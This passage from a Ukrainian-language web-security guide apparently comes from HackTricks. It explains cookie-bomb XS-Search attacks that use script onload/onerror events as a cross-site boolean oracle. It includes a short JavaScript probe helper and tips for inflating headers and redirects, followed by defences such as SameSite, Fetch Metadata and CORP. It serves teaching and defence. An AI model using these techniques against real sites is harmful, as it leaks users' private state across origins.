- Сучасні браузери дедалі частіше блокують third-party cookies. Відкриття top-level вікна до цілі робить cookies firstparty, тож Set-Cookie відповіді від цілі збережуться, що дозволяє виконати cookie-bomb step навіть за обмежень thirdparty cookies.
Generic probing helper
Якщо у вас вже є спосіб встановити багато cookies на target origin (first-party), ви можете повторно використати цей мінімальний oracle проти будь-якого endpoint, чий успіх/неуспіх призводить до різних мережевих наслідків (status/MIME/redirect):
```js
function probeError(url) {
return new Promise((resolve) => {
const s = document.createElement('script');
s.src = url;
s.onload = () => resolve(false); // loaded successfully
s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked)
document.head.appendChild(s);
});
}
```
Поради щодо побудови оракула
- Зробіть «позитивний» стан важчим: додайте додаткове перенаправлення лише коли предикат істинний, або зробіть URL перенаправлення таким, що відображає необмежений користувацький ввід, щоб він зростав разом із вгадуваним префіксом.
- Inflate headers: повторюйте cookie bombing, поки на «важкій» гілці не спостерігатиметься стабільна помилка. Сервери зазвичай обмежують розмір заголовків і зазнають збою раніше, коли присутня велика кількість cookies.
- Стабілізуйте: виконайте кілька паралельних операцій встановлення cookies і опитуйте повторно, щоб усереднити шум від таймінгу та кешування.
Пов'язані трюки XS-Search
- Оракули на основі довжини URL (без cookies) можна комбінувати або використовувати замість цього, коли ви можете примусити дуже довгий цільовий запит:
{{#ref}}
url-max-length-client-side.md
{{#endref}}
Захист і зміцнення
- Зробіть відповіді про успіх/неуспіх непомітними одна від одної:
- Уникайте умовних перенаправлень або великих відмінностей у розмірі відповіді між станами. Повертайте той самий статус, той самий Content-Type і схожу довжину тіла незалежно від стану.
- Блокуйте крос-сайтові перевірки субресурсів:
- SameSite cookies: встановіть чутливі cookies як SameSite=Lax або SameSite=Strict, щоб запити субресурсів типу <script src> не несли їх; за можливості віддавайте перевагу Strict для токенів автентифікації.
- Fetch Metadata: застосовуйте Resource Isolation Policy для відхилення крос-сайтових завантажень субресурсів (наприклад, якщо Sec-Fetch-Site != same-origin/same-site).
- Cross-Origin-Resource-Policy (CORP): встановіть CORP: same-origin (або принаймні same-site) для ендпоінтів, які не повинні вбудовуватися як крос-оригін субресурси.
- X-Content-Type-Options: nosniff і правильний Content-Type на JSON/HTML кінцевих точках, щоб уникнути особливостей завантаження як скрипта.
- Зменшіть ампліфікацію заголовків/URL:
- Обмежте кількість/розмір встановлюваних cookies; санітизуйтe функції, які перетворюють довільні поля форм у Set-Cookie.
- Нормалізуйте або обрізайте відображені дані в редиректах; уникайте вставляння довгих рядків, контрольованих атакуючим, у Location URLs.
- Тримайте серверні обмеження консистентними і відповідайте однаково при помилці (уникайте спеціальних сторінок помилок тільки для однієї гілки).
Примітки
- Цей клас атак широко обговорюється як “Error Events” XS-Leaks. Крок cookie-bomb — це просто зручний спосіб змусити лише одну гілку перевищити серверні ліміти, створюючи надійний булевий оракул.
## Посилання
- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
- MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
{{#include ../../banners/hacktricks-training.md}}